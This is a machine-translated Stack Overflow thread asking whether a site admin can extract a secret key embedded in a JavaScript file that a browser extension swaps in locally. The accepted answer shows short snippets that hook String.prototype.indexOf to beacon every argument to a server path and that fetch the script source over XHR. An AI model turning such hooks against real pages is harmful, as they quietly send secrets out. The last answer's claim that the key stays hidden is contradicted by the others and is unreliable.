首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >如果我将Javascript文件重定向到本地修改过的Javascript文件,管理员是否可以获得我的js-file的完整源代码?

如果我将Javascript文件重定向到本地修改过的Javascript文件,管理员是否可以获得我的js-file的完整源代码?
EN

Stack Overflow用户
提问于 2012-10-05 07:31:57
回答 3查看 90关注 0票数 0

我创建了一个google-chrome-extension,它将网站上的javascript文件的所有请求重定向到我硬盘上这个文件的修改版本。它是这样工作的,我把它简化如下:

代码语言:javascript
复制
... redirectUrl: chrome.extension.getURL("modified.js")  ...

Modified.js是相同的javascript文件,除了我修改了代码中的一行。我改变了一些看起来像是

代码语言:javascript
复制
var message = mytext.value;

转到var message = aes.encrypt(mytext.value,"mysecretkey");

我的问题是,我重定向javascript文件的这个网站的管理员是否可以修改他的网页,这样他就可以获得"mysecretkey“。(管理员知道我的扩展是如何工作的,以及修改了哪条线路,但不知道使用的密钥)

提前感谢

EN

回答 3

Stack Overflow用户

回答已采纳

发布于 2012-10-05 21:27:01

,“管理员”可以阅读你的代码的源代码。

你的方法非常不安全。有两种方法可以读取"mysecretkey“。

让我们从一个非常重要的问题开始:获取对源代码的引用。例如,假设您的aes.encrypt方法如下所示:

代码语言:javascript
复制
(function() {
    var aes = {encrypt: function(val, key) {
        if (key.indexOf('whatever')) {/* ... */}
    }};
})();

然后,可以使用以下方法来破解该漏洞:

代码语言:javascript
复制
(function(indexOf) {
    String.prototype.indexOf = function(term) {
        if (term !== 'known') (new Image).src = '/report.php?t=' + term;
        return indexOf.apply(this, arguments);
    };
})(String.prototype.indexOf);

arguments.callee一样,许多prototype方法也可能导致泄漏。如果“管理员”想要破解你的代码,他一定能够做到。

另一种方法是更容易实现的

代码语言:javascript
复制
var x = new XMLHttpRequest();
x.open('GET', '/possiblymodified.js');
x.onload = function() {
    console.log(x.responseText); // Full source code here....
};
x.send();

您可以替换XMLHttpRequest方法,但在这一点上,您只是在玩猫抓老鼠的游戏。每当你认为你已经保护了你的代码,其他人就会找到破解它的方法(例如,使用第一个描述的方法)。

票数 0
EN

Stack Overflow用户

发布于 2012-10-05 07:35:23

因为管理员可以控制站点的任何方面,所以他们可以很容易地修改aes.encrypt来向他们发布第二个参数,然后照常继续。因此,你的密钥会立即暴露出来。

票数 0
EN

Stack Overflow用户

发布于 2012-10-05 07:38:52

不是的。Web管理员无法看到您设置的内容,然后才能将其发送到他可以看到的服务器。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/12737488

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档